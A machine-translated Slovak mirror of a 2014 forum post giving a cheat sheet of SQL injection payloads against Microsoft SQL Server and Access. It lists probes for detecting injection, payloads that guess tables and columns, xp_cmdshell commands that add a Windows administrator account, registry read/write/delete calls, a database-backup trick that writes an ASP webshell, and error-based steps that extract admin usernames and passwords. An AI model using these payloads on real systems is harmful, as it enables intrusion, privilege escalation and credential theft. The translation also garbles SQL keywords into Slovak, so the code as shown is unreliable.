Tento článok je zrkadlovým článkom o strojovom preklade, kliknite sem pre prechod na pôvodný článok.

Pohľad: 14167|Odpoveď: 0

[Bezpečná komunikácia] Bežné príkazy SQL injection

[Kopírovať odkaz]
Zverejnené 22. 11. 2014 17:17:21 | | |
1. Určiť, či existuje injekcia
; a 1=1
; a 1=2

2. Predbežné rozhodnutie, či ide o mssql
; a user>0

3. Posúdiť databázový systém
; a (vyberte count(*) zo sysobjects)>0 mssql
; a (vyberte count(*) z msysobjects)>0 prístup

4. Parameter injekcie je znak
'a [kritériá dotazu] a ''='

5. Počas vyhľadávania nie sú žiadne filtrované parametre
'a [kritériá dotazu] a '%25'='

6. Uhádni názov stola
; a (vyberte Count(*) z [názov tabuľky])>0

7. Hádať pole
; a (vyberte Count(field name) z názvu tabuľky)>0

8. Hádať dĺžku záznamu v poli
; a (vyberte top 1 len(názov poľa) z názvu tabuľky)>0

9. (1) Uhádnite ASCII hodnotu poľa (prístup)
; a (vyberte top 1 ASC(mid(field name, 1,1)) z názvu tabuľky)>0

(2) Uhádnite ASCII hodnotu poľa (mssql)
; a (vyberte top 1 unicode(substring(field name,1,1)) z názvu tabuľky)>0

10. Štruktúra testovacích povolení (mssql)
; a 1=(vybrať IS_SRVROLEMEMBER('sysadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('serveradmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('setupadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('securityadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('diskadmin')); --
; a 1=(vybrať IS_SRVROLEMEMBER('bulkadmin')); --
; a 1=(vybrať IS_MEMBER('db_owner')); --

11. Pridať účet pre mssql a systém
; exec master.dbo.sp_addlogin používateľské meno; --
; exec master.dbo.sp_password null, používateľské meno, heslo; --
; exec master.dbo.sp_addsrvrolemember používateľské meno správcu systému; --
; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'net používateľské meno, heslo /add'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

12. (1) Prejdite katalóg
; Create table dirs(paths varchar(100), id int)
; Insert Dirs Exec master.dbo.xp_dirtree 'c:\'
; a (vyberte top 1 cesty z dirs)>0
; a (vyberte top 1 ciest z dirs, kde cesty nie sú v ('cesty získané z predchádzajúceho kroku'))>)

(2) Prechádzať katalógom
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získajte všetky prúdové pohony
; vlož do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získajte zoznam podadresárov
; vlož do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získajte štruktúru adresárov pre všetky podadresáre
; vložiť do temp(id) exec master.dbo.xp_cmdshell 'napíš c:\web\index.asp'; -- Zobraziť obsah súboru

13. Uložené procedúry v mssql
xp_regenumvalues Koreňový kľúč registra, detský kľúč
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vracia všetky kľúčové hodnoty vo viacerých súboroch záznamov
xp_regread Koreňový kľúč, podkľúčený kľúč, meno kľúč-hodnota
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vráti hodnotu kľúča set
xp_regwrite koreňový kľúč, podkľúčený kľúč, názov hodnoty, typ hodnoty, hodnota
Existujú dva typy hodnôt REG_SZ REG_DWORD pre typy znakov a pre celé čísla
; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' do registra
xp_regdeletevalue Koreňový kľúč, podkľúč, názov hodnoty
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' na odstránenie hodnoty
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' na odstránenie kľúča vrátane všetkých hodnôt pod týmto kľúčom

14. MSSQL záloha vytvára webshell
Použitie modelu
create table cmd (str image);
vložte do hodnôt cmd(str) ('<% Dim oScript %>');
záložný databázový model na disk='c:\l.asp';

15. Vstavané funkcie MSSQL
; a (vyberte @@version)>0 na získanie čísla verzie Windows
; a user_name()='dbo' na určenie, či je pripojený používateľ aktuálneho systému SA
; a (vybrať user_name()>0 Vybuchlo pripojených používateľov aktuálneho systému
; a (vyberte db_name()>0 pre získanie aktuálne pripojenej databázy



Porušenie ručne anotovanej databázy MSSQL

1. Zobraziť aktuálny názov tabuľky a názov stĺpca
Odošlite "'having 1=1--" za injekčným bodom, aby ste dostali návratovú správu v angličtine, kde vidíte názov tabuľky a názov stĺpca. Odošlite "group by the list name have 1=1--" na získanie ďalšieho názvu stĺpca; Pokračujte v zadávaní "zoskupte podľa zoznamu názvu vystavenej tabuľky, názvu odkrytej tabuľky. Názov druhého stĺpca má 1=1--", čo vám dá ďalšie meno stĺpca. Commitujte rovnakým spôsobom, kým stránka nevráti chybové hlásenia, aby ste získali všetky názvy stĺpcov. Zaujímavosti: Násilné názvy tabuliek a stĺpcov sa používajú v kombinácii s GROUP BY v SQL príkazoch na podmienené hodnotenia. Keďže príkaz nie je úplný, databáza vráti chybové hlásenie a zobrazí názov tabuľky a názov stĺpca. Základná metóda dokáže v databáze sprístupniť len aktuálnu tabuľku, a ak tabuľka obsahuje veľa názvov stĺpcov, je veľmi ťažké použiť základnú metódu.

Najprv. Všetky názvy databáz sú odhalené
Použite príkaz "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=[N])" na zobrazenie ľubovoľných názvov tabuliek a stĺpcov v databáze, kde "[N]" predstavuje N-tú tabuľku v databáze.
Krok 1: Po injektovaní bodu odošlite nasledujúce vyhlásenie: "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=12)", pretože hodnota dbid je od 1 do 5, ktorú systém používa, takže používateľ ju musel vytvoriť z 6 a my sme zadali meno>1, pole mena je pole typu znaku a porovnanie čísel bude nesprávne, takže po odoslaní IE vráti nasledujúce informácie: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konvertuje hodnotu nvarchar 'Northwind' na dátový typ int stĺpček. Týmto spôsobom sa hodnota poľa s názvom odhalí, teda získame názov databázy "Northwind". Zmenou hodnoty "dbid" sa získajú všetky názvy databáz.

a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde meno>1 a dbid=[N])-- Upraviť N tak, aby sa všetky názvy databáz zničili zo 6


Po druhé. Zobraziť všetky názvy tabuliek v zadanej databáze
Po získaní názvu databázy je potrebné získať všetky názvy tabuliek v knižnici, odoslať nasledujúce vyhlásenie: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", tu je názov tabuľky v hlavnej databáze a SQL príkaz dotazu vráti hodnotu mena, a potom ju porovnať s číslom 0, aby bola hodnota názvu vystavená. Po odovzdaní sa názov stola "'spt_monito" odhalil.
Potom sú ostatné tabuľky vystavené a nasledujúci príkaz je odoslaný: "and 0<>(vyberte top 1 meno z master.dbo.sysobjects, kde xtype='U' a meno nie in('spt_monito'))", a ďalšia tabuľka s názvom "cd512" je vystavená. Súbor "and name not in(' spt_monito',' CD512',..))" Môžete zistiť všetky názvy stolov.

a 0<>(vyberte najvyššie 1 meno z [uveďte názov databázy].dbo.sysobjects, kde xtype='U')--
a 0<>(vyberte top 1 meno z [uveď názov databázy].dbo.sysobjects, kde xtype='U' a meno nie je v('[Exploded table name]'))--
a 0<>(vyberte top 1 názov z [špecifikovať názov databázy].dbo.sysobjects, kde xtype='U' a meno nie je v('[Explosive table name]', '[Exploded second table name]')))--

4. Zobraziť všetky názvy stĺpcov v zadanej tabuľke
a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype='U' a meno='admin' a uid>(str(id)))
Preveďte hodnotu ID na typ znaku a potom ju porovnajte s celočíselnou hodnotou. Identifikačné číslo je vonku. Hodnota je: 949578421 meno='názov tabuľky'

a 0<>(vyberte top 1 meno z wutong.dbo.syscolumns, kde id=949578421)-- Názov poľa v administrátorskej tabuľke je odhalený

Znovu odošlite a 0<>(vyberte top 1 meno z wutong.dbo.syscolumns, kde id=949578421 a meno nie je v ('adduser')))--
Súbor "and name not in(' spt_monito',' CD512',..))" Všetky názvy polí nájdete v administratívnej tabuľke.


a 0<>(vyberte count(*) z [špecifikovať názov databázy].dbo.sysobjects, kde xtype='U' a meno='[Názov tabuľky poľa, ktoré má byť explodované]' a uid>(str(id)))--ID hodnota názvu tabuľky poľa, ktoré má byť explodované

a 0<>(vyberte top 1 meno z [specify database name].dbo.syscolumns where id=exploded id value)-- Názov poľa v tabuľke hodnôt explodujúcich id

a 0<>(vyberte najvyššie 1 meno z [uveďte názov databázy].dbo.syscolumns, kde id=hodnota explozivného ID a názov nie je v('[Explodované pole meno]'))--



5. Čítajte údaje v zadanej tabuľke

a 0<(vyberte A_ID z wutong.dbo.admin, kde A_UserID>1) – obsah, ktorý rozbil A_PWD

a 0<(vyberte [pole, ktoré existuje] z [uveďte názov databázy].dbo.[názov tabuľky na dotaz], kde [názov poľa na explodovanie obsahu]>1)--

a 0<(vyberte A_ID z wutong.dbo.admin, kde A_PWD>1 a A_UserID='admin')-- Heslo admina je odhalené


a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID<>1)-- Administrátorské meno id<>1 (fuhao)

a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao')-- Meno druhého administrátora <> nie je (tuiguang)

a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao' a A_UserID <> 'tuiguang')--

Po poznaní názvu tabuľky a názvu stĺpca databázy môžete použiť "query príkaz" na čítanie akýchkoľvek informácií v databáze. Napríklad, ak chcete čítať N-té dáta v stĺpci v tabuľke, môžete zadať príkaz: "and (Vyberte názov Top 1 stĺpca Z názvu tabuľky, kde id=[N])>1" ([N] predstavuje N-té dáta v stĺpci) a môžete zistiť požadované údaje z informácií vrátených IE.






Predchádzajúci:Ako skryť komprimovaný RAR súbor v jpg súbore
Budúci:Zbieraj "Harryho Pottera" 1~7 Vyber ho a zdieľaj Ak sa ti nepáči, nestriekaj ho
Vyhlásenie:
Všetok softvér, programovacie materiály alebo články publikované spoločnosťou Code Farmer Network slúžia len na vzdelávacie a výskumné účely; Vyššie uvedený obsah nesmie byť použitý na komerčné alebo nezákonné účely, inak nesú všetky následky používateľmi. Informácie na tejto stránke pochádzajú z internetu a spory o autorské práva s touto stránkou nesúvisia. Musíte úplne vymazať vyššie uvedený obsah zo svojho počítača do 24 hodín od stiahnutia. Ak sa vám program páči, podporte originálny softvér, zakúpte si registráciu a získajte lepšie originálne služby. Ak dôjde k akémukoľvek porušeniu, kontaktujte nás prosím e-mailom.

Mail To:help@itsvse.com